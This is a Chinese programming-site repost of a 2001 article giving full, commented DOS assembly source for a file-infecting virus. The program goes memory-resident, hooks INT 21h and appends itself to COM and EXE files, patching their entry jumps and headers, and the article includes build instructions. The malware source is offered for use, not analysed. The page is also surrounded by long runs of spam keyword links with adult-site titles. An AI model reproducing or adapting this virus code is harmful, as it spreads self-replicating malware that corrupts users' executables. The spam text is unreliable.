日本免费精品_最新日韩一区_亚洲视频一区在线_a在线视频观看_天天射夜夜骑_粉嫩av一区二区三区_欧美中日韩免费视频_综合图区欧美_国内精品美女在线观看_午夜精品久久久久久久男人的天堂

首頁(yè) > 編程 > Java > 正文

編寫感染COM與EXE文件的病毒

2019-09-06 23:33:22
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友

                    Author: whg
Email: whg@whitecell.org
Homepage:http://www.whitecell.org
Date: 2001-11-29


;此程序是d由v0病毒改裝升級(jí)而來(lái)
;在DOS下才有一定的傳染能力
;此程序部分應(yīng)用了32位編程
;制作方法如下
;tasm32 dv1;
;tlink dv1;
;Debug dv1.exe
;-n dv1.com
;-w
;-q
;最后生成dv1.com病毒程序
OFF equ Offset
DosMcb Struc ;Dos內(nèi)存控制鏈結(jié)構(gòu)(部分)
Flag db ? ;是'M'則不是最后一塊;是 'Z'則是最后一塊
Owner dw ? ;是008: 則是系統(tǒng)所有;是0則為未使用內(nèi)存塊
Sizes dw ? ;本塊大小,按節(jié)計(jì)算(1節(jié)=10h字節(jié))
DosMcb Ends
ExeHeader Struc ;Exe文件頭結(jié)構(gòu)
Flags dw 'ZM';Exe文件標(biāo)志
ModSize dw ? ;Exe文件最后一頁(yè)字節(jié)數(shù)
Pages dw ? ;Exe文件頁(yè)數(shù)(1頁(yè)為512字節(jié))
Reloc dw ? ;Exe文件從定位項(xiàng)數(shù)
MeSize dw ? ;本文頭節(jié)數(shù)
MinMem dw ? ;該程序所須最小內(nèi)存(節(jié))
MaxMem dw ? ;該程序所須最大內(nèi)存(節(jié))
StartSs dw ? ;程序Sp初值
StartSp dw ? ;程序相對(duì)Ss初值
CheckSum dw ? ;文件頭檢查和
StartIp dw ? ;程序Ip初值
StartCs dw ? ;程序相對(duì)Cs初值
RelocOff dw ? ;從定位信息偏移
ExeHeader Ends
VirusSize=OFF @@End-OFF @@Start ;(病毒大小)
VirusMemSize=OFF @@MemEnd-OFF @@Start ;(病毒需要的內(nèi)存大小)
.386
.model small
.code
org 100h ;按COM格式編寫
@@Start: ;病毒引導(dǎo)塊
pusha ;保存所有通用寄存器
mov ax,4d4dh
int 21h ;是否已經(jīng)駐留內(nèi)存(自定義中斷)
cmp ax,4d4dh
jz short @@ExecOldApp ;否,調(diào)用安裝模塊
call @@Install
@@ExecOldApp:
mov ah,2ch
int 21h ;得到系統(tǒng)時(shí)間
cmp cx,22*100h+30 ;(Cmp 時(shí)間:22:30)
jb short @@TestFlag ;不到22:30不調(diào)用顯示消息
call @@DisplayMsg ;調(diào)用表現(xiàn)塊
@@TestFlag:
clc ;預(yù)設(shè)為Clc指令,表示是Com文件(若在傳染時(shí)被改成Stc則是Exe文件)
jc short @@IsExeApp
@@IsComApp:
call @@GetOldComAppCode
OldAppCode dw 20cdh ;20cdh恰是Int 20h指令,用以返回Dos
dw 0000h ;這里為保存原COM文件頭部4字節(jié)信息
@@GetOldComAppCode:
pop si ;得到OldAppCode的地址
mov di,100h
cld
lodsd
stosd ;恢復(fù)原COM頭部4字節(jié)
popa ;恢復(fù)所有通用寄器
push word ptr 100h
ret ;去執(zhí)行原COM程序
@@IsExeApp:
popa ;恢復(fù)所有通用寄器
cli ;改變堆棧指針時(shí)要關(guān)閉中斷
mov sp,es ;得到Psp( Sp=PSP段址)
add sp,10h
SpAddData dw 0c481h;0bch是add sp,xxxx指令
OldAppSs dw 000h ;原Exe文件Ss相對(duì)值
mov ss,sp ;計(jì)算出原程序堆棧并恢復(fù)
MoveDataToSp db 0bch ;0bch是mov sp,xxxx指令
OldAppSp dw 000h ;原Exe文件Sp值
sti ;從新開啟中斷
push ax
mov ax,es ;得到Psp( Ax=PSP段址)
add ax,10h
AxAddData db 005h ;05h是add ax,xxxx指令,計(jì)算原程序Cs值
OldAppCs dw 000h ;原Exe文件Cs相對(duì)值
movzx esp,sp ;轉(zhuǎn)化為32位[esp]式堆棧尋址
xchg ax,[esp] ;恢復(fù)ax,而不能用"xchg ax,[sp]"16位不支持[sp]式堆棧尋址
PushWordData db 068h ;068h是push word ptr xxxx指令
OldAppIp dw 000h ;原Exe文件Ip值
retf ;去執(zhí)行原Exe程序
@@Install:
push ds
push es ;保存段寄存器
mov ax,ds
dec ax ;得到自己的MCB結(jié)構(gòu)段址,它在程序的PSP前
@@ContFindLastMcb:
mov ds,ax
cmp ds:[Flag],'Z' ;是最后一塊嗎?
jz short @@FoundLastMcb
add ax,ds:[Sizes]
inc ax ;計(jì)算下一個(gè)MCB 的段址=本塊段址+本塊大小+1
jmp short @@ContFindLastMcb
@@FoundLastMcb:
sub ds:[Sizes],(VirusMemSize/10h)+1 ;把最后一塊大小減去病毒所須內(nèi)存大小(節(jié)數(shù))
add ax,ds:[Sizes]
inc ax ;計(jì)算出病毒在高端RAM的地址(即在最后一塊劃出的空間段址)
mov es,ax
xor di,di
push cs
pop ds ;復(fù)位數(shù)據(jù)段
call @@GetVirusBase
@@GetVirusBase:
pop si
sub si,OFF @@GetVirusBase-OFF @@Start ;得到病毒首址
mov cx,VirusSize
cld
rep movsb ;把病毒搬運(yùn)到高端地址
sub ax,10h ;計(jì)算出高端病毒的段地址(為使病毒偏移對(duì)齊,所以減去10h)
mov ds,ax
@@ContInstall:
mov ax,3521h
int 21h ;取Int 21h的中斷向量,并保存
mov ds:OldInt21Seg,es
mov ds:OldInt21Off,bx
lea dx,@@NewInt21
mov ax,2521h
int 21h ;設(shè)新的Int 21h處理程序到@@NewInt21處
pop es
pop ds
ret
@@NewInt21: ;新Int21 h服務(wù)程序(傳染塊)
cmp ax,4d4dh
jnz short @@NextHook
iret ;是自定義中斷,直接返回
@@NextHook:
cmp ah,4bh
jz short @@MyBeCom
cmp ah,43h
jz short @@MyBeCom
cmp ah,3dh
jz short @@MyBeCom ;截獲4b,43,3d號(hào)Dos功能
@@JmpOldInt21:
cli ; 進(jìn)入Int21h前,需要關(guān)中斷!
JmpFar db 0eah ;遠(yuǎn)跳轉(zhuǎn)指令jmp xxxx:xxxx
OldInt21Off dw ?
OldInt21Seg dw ?
@@CallInt21: ; 模擬Int 21h指令
pushf
push cs
call @@JmpOldInt21
ret
@@MyBeCom: ;入口參數(shù)ds:dx=以零結(jié)尾的Com文件名字符串
pusha
push ds
mov si,dx
xor al,al
@@ContFindExtName: ;找擴(kuò)展名
inc si
cmp [si],al
jnz short @@ContFindExtName
mov eax,[si-4]
or eax,20202020h ;轉(zhuǎn)化為小寫字母
cmp eax,'moc.' ;是.com文件嗎?
jz short @@IsComFile
cmp eax,'exe.' ;是.exe文件嗎?
jz short @@IsExeFile
@@ExitOpt:
pop ds
popa
jmp short @@JmpOldInt21
@@IsComFile:
mov ax,3d02h
call @@CallInt21 ;3dh,打開COM文件
jc short @@OptComFalse ;失敗
mov bx,ax
push cs
pop ds ;復(fù)位數(shù)據(jù)段
mov ds:byte ptr[@@TestFlag],0f8h ;設(shè)為Clc指令,表示傳染的是Com文件
lea dx,OldAppCode
mov cx,4
mov ah,3fh
int 21h ;讀文件首部4字節(jié)
jc short @@CloseComFile
mov si,dx
cmp word ptr[si],'ZM' ;是否是EXE文件(是否是Com文件不能僅由擴(kuò)展名判斷)
jz short @@CloseComFile ;是就不感染
cmp byte ptr[si+3],'V';是否有已感染病毒標(biāo)志
jz short @@CloseComFile ;是則說(shuō)明該程序已經(jīng)被感染了
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;將文件指針移到文件尾,返回dx:ax=文件長(zhǎng)度
or dx,dx
jnz short @@CloseComFile ;文件太大不感染
mov dx,ax
add ax,VirusSize
jc short @@CloseComFile ;文件太大不感染
cmp ax,0fd00h
ja short @@CloseComFile ;文件太大不感染
sub dx,03 ;計(jì)算出Jmp Virus的偏移量
mov ds:JmpOffset,dx
lea dx,@@Start
mov cx,VirusSize
mov ah,40h
int 21h ;將病毒寫到文件尾部
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;把文件指針移到文件首
mov cx,04h
lea dx,@@JmpVirus
mov ah,40h
int 21h ;寫Jmp Virus與病毒Flag 4字節(jié)到文件首部
@@CloseComFile:
mov ah,3eh
int 21h ;關(guān)閉文件
@@OptComFalse:
jmp short @@ExitOpt
@@IsExeFile:
mov ax,3d02h
call @@CallInt21 ;3dh,打開Exe文件
jc @@OptExeFalse ;失敗
mov bx,ax
push cs
pop ds ;復(fù)位數(shù)據(jù)段
mov ds:byte ptr[@@TestFlag],0f9h ;設(shè)為Stc指令,表示傳染的是Exe文件
lea dx,MyExeHeader
mov cx,size ExeHeader
mov ah,3fh
int 21h ;讀文件首部4字節(jié)
jc @@CloseExeFile
cmp ax,cx
jb @@CloseExeFile
mov si,dx
cmp word ptr[si.Flags],'ZM' ;是否是EXE文件(是否是EXE文件不能僅由擴(kuò)展名判斷)
jnz @@CloseExeFile ;不是就不感染
cmp [si.CheckSum],'VV' ;是否有已感染病毒標(biāo)志
jz @@CloseExeFile ;是則說(shuō)明該程序已經(jīng)被感染了
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;將文件指針移到文件尾,返回dx:ax=文件長(zhǎng)度
cmp dx,8h
ja short @@CloseExeFile ;文件太大,可能是Windows應(yīng)用程序
shl edx,16
mov dx,ax
push edx ;保存文件大小
shr edx,4
sub dx,[si.MeSize] ;計(jì)算病毒在該Exe程序中新的相對(duì)Cs
and ax,0fh ;計(jì)算病毒在該Exe程序中新的Ip值(0=<Ip<10h)
mov cx,dx ;cx=dx=新的相對(duì)Cs值
xchg [si.StartCs],dx
mov ds:[OldAppCs],dx ;修改相對(duì)Cs值,保存原相對(duì)Cs值
xchg [si.StartSs],cx
mov ds:[OldAppSs],cx ;修改相對(duì)Ss值,保存原相對(duì)Ss值
xchg [si.StartIp],ax
mov ds:[OldAppIp],ax ;修改Ip值,保存原Ip值
xor ax,ax
xchg [si.StartSp],ax ;修改Sp值,保存原Sp值
mov ds:[OldAppSp],ax
mov [si.CheckSum],'VV';設(shè)置傳染標(biāo)志
pop edx ;彈出文件大小
mov ecx,VirusSize
add edx,ecx ;計(jì)算感染后文件的大小
mov ax,dx
and ax,1ffh ;計(jì)算感染后文件的ModSize
mov [si.ModSize],ax
add edx,1ffh
shr edx,9 ;計(jì)算感染后文件的Pages
mov [si.Pages],dx
lea dx,@@Start
mov ah,40h
int 21h ;將病毒寫到文件尾部
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;把文件指針移到文件首
mov cx,size ExeHeader
lea dx,MyExeHeader
mov ah,40h
int 21h ;寫文件頭到文件首部
@@CloseExeFile:
mov ah,3eh
int 21h ;關(guān)閉文件
@@OptExeFalse:
jmp @@ExitOpt
@@JmpVirus:
JumpNear db 0e9h ;近轉(zhuǎn)移指令Jmp near xxxx
JmpOffset dw ?
VirusFlag db 'V' ;病毒標(biāo)志為'V'字符
@@DisplayMsg:
pop dx
push dx
add dx,OFF @@Message-OFF @@TestFlag ;計(jì)算@@Message的偏移量
push ds
push cs
pop ds
mov ah,09h
int 21h ;顯示信息,“夜已深,你該睡覺(jué)了!”
pop ds
ret
@@Message:
db 0ah,0dh,07h
db 'Night is deep,you must go sleep!'
db 0ah,0dh,'$'
db 'Go Sleep Ver3.0 by Whg 2001.5.2'
@@End:
MyExeHeader db size ExeHeader dup(?)
@@MemEnd:
end @@Start


WSS(Whitecell Security Systems),一個(gè)非營(yíng)利性民間技術(shù)組織,致力于各種系統(tǒng)安全技術(shù)的研究。堅(jiān)持傳統(tǒng)的hacker精神,追求技術(shù)的精純。
WSS 主頁(yè):http://www.whitecell.org/
WSS 論壇:http://www.whitecell.org/forum/
發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表

圖片精選

日韩欧美久久| 国产黄色在线免费观看| 国产黄色网页| 国产欧美中文在线| 精品无人国产偷自产在线| 日韩欧美一二三四区| 亚洲女同中文字幕| 视频一区视频二区中文| 日韩欧美在线综合网| 日韩视频精品在线观看| 日韩高清在线不卡| 亚洲日产av中文字幕| 国产 欧美在线| 91精品国产入口| 日韩欧美亚洲日产国| 国产一级久久久| 亚洲一卡二卡在线观看| 国产视频一二区| 国产资源在线观看| 日韩视频在线一区二区| 精品婷婷伊人一区三区三| 中文字幕精品视频在线| 中文字幕4区| 中文欧美字幕免费| 日韩中文在线视频| 91精品国产91久久久久久三级| 精品成a人在线观看| 日韩精品 欧美| 日韩亚洲不卡在线| 成年人黄国产| 不卡视频一区二区| 精品中文在线| 国产欧美高清在线| 免费视频久久| 中文字幕 日韩 欧美| 一区二区国产在线| 欧美久久在线观看| 日韩精品福利一区二区三区| 亚洲成av人片| 91精品国产自产在线观看永久∴| 91精品久久久久久久91蜜桃| 国产黄色在线观看| 欧美 日韩 国产在线| 91精品电影| 国产成人中文字幕| 国产乱国产乱300精品| 亚洲欧洲国产视频| 亚洲高清视频一区| 亚洲第一视频网站| 在线欧美日韩国产| 久久久99久久精品欧美 | 欧洲精品二区| 91精品国产综合久久香蕉的特点| 日韩国产欧美在线视频| 一区二区三区在线|网站| 国产午夜精品视频免费不卡69堂| 日韩精品福利一区二区三区| 日韩国产在线不卡视频| 欧美日韩在线网站| 亚洲综合在线中文字幕| 精品亚洲综合| 亚洲3区在线| 亚洲一区中文字幕在线| 日韩精品中文在线观看| 国产小视频在线| 中文字幕亚洲乱码| 精品日韩视频在线观看| 色猫猫国产区一区二在线视频| 日韩久久精品成人| 中文精品在线观看| 亚洲国产一区自拍| 日韩手机在线观看视频| 欧美亚洲天堂| 国产黄色在线播放| 欧美日韩免费不卡视频一区二区三区| 粉嫩喷白浆久久| 日韩在线中文字幕| 国产小视频在线观看| 最新中文在线视频| 精品中文字幕在线| 不卡视频一区二区| 国产日韩av一区二区| 在线中文免费视频| 国产亚洲福利| 国产福利第一页| 日韩中文在线中文网三级| 欧美日韩中文字幕在线视频| 日韩精品视频在线观看免费| 国产一级视频| 亚洲乱码一区av黑人高潮| 久久久精品国产99久久精品芒果| 亚洲中文字幕一区| 福利在线国产| 日韩欧美三级视频| 91精品国产入口| 天天综合天天综合| 日韩中文字幕91| 欧美啪啪一区| 国产一区激情在线| 中文字幕日韩在线视频| 欧美 日韩 中文字幕| 精品在线网站观看| 国产不卡一区| 日韩.欧美.亚洲| 亚洲福利在线视频| 欧洲精品二区| 一区二区三区在线播放视频| 在线视频一区二区三区在线播放| 伊人国产视频| 在线观看av的网站| h片精品在线观看| 国产偷久久久精品专区| 中文字幕日韩高清| 精品视频999| 日韩欧美国产免费| 中文字幕日韩欧美| 日韩在线视频一区二区三区| 顶级网黄在线播放| 欧美三级一区二区三区| 一区二区不卡视频| 久久久久黄色| 91精品久久久久久久久| 日韩免费高清一区二区| 91精品国产综合久久香蕉最新版| 亚洲欧美久久久| 中文精品在线| 亚洲成av人片| 日韩不卡中文字幕| 久久精品久久精品国产大片| 国产一卡2卡3卡四卡网站| 亚洲福利一区二区三区| 国产丝袜一区二区| 国产乱码午夜在线视频| 天堂在线www天堂中文在线| 亚洲欧洲日韩精品在线| 久久riav| 国产在成人精品线拍偷自揄拍| xxxcom在线观看| 一区三区视频| 欧美激情一区二区在线| 欧美日韩国产首页| 91精品在线免费| 欧美日韩国产综合网| 蜜桃视频一日韩欧美专区| 91精品国产综合久久久久久| 中文字幕在线欧美| 91精品网站| 亚洲一区导航| 亚洲欧洲国产视频| 中文字幕亚洲二区| 欧美一级日韩一级| 日韩视频在线免费看| 亚洲永久免费视频| av亚洲免费| а√天堂8资源中文在线| 国产欧美日韩成人| 国产一区久久久| 中文天堂资源在线| 日韩av二区| 国产偷久久久精品专区| 欧美日韩亚洲不卡| 中文字幕人成乱码在线观看| 欧美国产亚洲一区| 五月天久久比比资源色| 欧美成人vr18sexvr| 午夜高潮免费视频| 在线观看免费国产小视频| 日韩免费看网站| 欧美另类专区| 亚洲视频资源在线| av影视在线看| 午夜一区二区三区| 国产欧美综合在线观看第十页 | 大香一本蕉伊线亚洲网| 欧美日韩一二三四| 色国产在线视频| 最近高清中文在线字幕在线观看1| 日韩午夜黄色| 一级片免费在线| 国产在线观看精品| 一级片免费在线| 91精品免费观看| 91午夜在线| 99精品视频99| 欧美日韩高清不卡| 国产一二三四| 日韩一二三四区| 日韩视频1区| 一区二区日韩视频| 中文字幕久久精品| 粉嫩喷白浆久久| 一区二区三区在线播放欧美| 午夜国产在线视频| 欧美日韩亚洲91| 国产欧亚日韩视频| 国产成人精品免费久久久久| 欧美日韩精品国产| 精品调教chinesegay| 久久精品在线免费观看| 欧美日韩国产免费| 最近中文字幕第一页| 91久久视频| 91精品国产入口| 中文字幕 欧美日韩| а√天堂8资源中文在线| 日韩精品视频中文在线观看| 日韩中文字幕视频在线| 日本黄色一区二区三区| 亚洲福利精品在线| 欧美三级一区二区三区| 中文字幕久久精品| 亚洲一二三不卡| 91精品综合久久久久久| 亚洲一级影院| 国产小视频在线| 国产欧美日韩在线看| 欧美 日韩 国产在线| 欧美日韩国产综合视频在线观看| 精品999视频| 国产三级第一页| 中文字幕日韩在线观看| 久久精品卡一| 欧美日韩三级在线观看| 亚洲.国产.中文慕字在线| 日韩a一区二区| 国产在线一区二区视频| 欧美日韩国产不卡| 日韩欧美中文字幕一区| 中文字幕2020第一页| 在线视频不卡一区二区| 亚洲黄色片在线观看| 日韩欧美一二三| 在线视频国产三级| 国产一区精品在线| 亚洲一区不卡在线| 欧美日韩国产中文精品字幕自在自线 | 亚洲欧美中文字幕在线观看| 欧美专区中文字幕| 久久久久久欧美| 色国产在线视频| 午夜黄色小视频| 91精品国产91久久久久久三级| 国产一级粉嫩xxxx| 91日韩欧美| 日韩精品在线观| 日韩精品在线播放| 91精品在线国产| 欧美日韩精品不卡| 二区中文字幕| 精品日韩av| 在线精品视频免费播放| 欧美日韩精品电影| 久草视频在线看| 天堂在线中文| 精品一二线国产| 欧美日韩免费精品| 欧美sm一区| 欧美在线视频二区| 红桃视频亚洲| 日韩中文字幕网| 欧美日韩在线播放视频| 中文字幕日韩欧美在线视频| 精品色蜜蜜精品视频在线观看| 一区二区高清视频| a视频免费看| 一区二区三区免费看视频| 91av久久久| 婷婷综合福利| 亚洲视频在线观看日本a| 天堂在线中文| 99久久精品国产成人一区二区| 久久人人精品| 午夜少妇久久久久久久久| 久久精品免费看| 国产一级片在线播放| 欧美三级中文字幕| 日韩免费电影网站| 中文字幕欧美人妻精品一区蜜臀| 久久99精品久久久| 欧美三级网址| 伊人国产视频| 欧美一级久久久久久久久大| 国产成人中文字幕| 欧美午夜精品在线| 久久久久久99精品| 精品国产1区2区3区| 中文在线中文字幕| 日韩.com| 欧美日韩国产综合网| 樱花草www在线观看| 久久精品99久久久久久久久| 91精品国产免费| 天天综合日日夜夜精品| 久久99蜜桃精品| 中文字幕日韩欧美在线视频| 日韩国产成人精品| 欧美va亚洲va日韩∨a综合色| 国产导航在线| 成年人黄国产| 欧美高清一区| 综合激情国产一区| 欧美一级欧美三级在线观看| 亚洲一区在线观看免费| 一区二区三区中文字幕在线观看| 久久精品在线免费观看| 欧美一级在线观看| 欧美日韩在线国产| 91蜜桃在线视频| 精品国产91| 中文字幕日韩在线观看| 亚洲精品中文字幕乱码三区不卡| 欧美日韩精品免费看| 国产黄色高清在线| 快she精品国产999| 一区二区高清在线| 日韩一级在线视频| 国产91欧美| 日韩亚洲欧美中文在线| 国产在线观看91| 日韩欧美国产1| 91精品999| 亚洲专区一区| 欧美日韩中文字幕综合视频| 国产香蕉精品视频| 欧美日韩亚洲国内综合网| 日韩精品视频中文在线观看| 日韩在线小视频| 国产日韩三级| 天天综合天天做| 亚洲福利一区二区三区| 中文字幕 亚洲一区| 精品1区2区3区| 在线观看精品国产| 国产真实乱子伦精品视频| 欧美婷婷久久| 亚洲第一中文字幕| 国产免费电影网站入口| 欧美国产91| 黄色国产网站在线播放| 国产乱国产乱300精品| aa国产成人| 欧美三级在线看| 精品国产网站在线观看| 影音先锋中文字幕在线观看| 国产激情久久久| 日韩精品视频在线| 91精品国产自产在线丝袜啪| 亚洲乱码在线观看| 国产欧美日韩在线播放| 日韩欧美999| 中文字幕日韩欧美在线视频| 99视频一区| 亚洲午夜久久| 一区免费在线| 国产黄色一级片| 午夜高潮免费视频| 福利在线国产| 亚洲国产无线乱码在线观看| 久久riav| 欧美成人二区| 国产欧美久久久精品免费| 99精品一级欧美片免费播放| 日韩中文字幕国产| 国产在线观看黄色| 亚洲一二三不卡| 日韩欧美在线中字| 日韩在线一区二区| 国产高清精品在线| 亚洲美女视频一区| 欧美日韩激情一区| 亚洲高清精品视频| 欧美va亚洲va日韩∨a综合色| 久久精品卡一| 欧美三级免费观看| 免费在线国产| 在线观看区一区二| 日韩久久精品视频| 日韩视频国产视频| 久久久综合精品| 欧美在线视频第一页| 国产欧美日韩视频在线| 欧美日韩精品高清| 在线视频亚洲| 亚洲一区中文字幕在线观看| 精品不卡一区二区| 日韩精品在线观| wwwwww在线观看| 中文字幕久久精品| 二区三区中文字幕| 国产不卡一区二区在线观看| 国内国产区免费视频| 亚洲视频在线观看日本a| 国产字幕在线看| 欧美日韩国产三级| 日韩中文欧美在线| 国产午夜在线观看| 国产欧美日韩中文字幕在线| 精品三级在线| 国产xxx在线| 欧美日韩国产一二|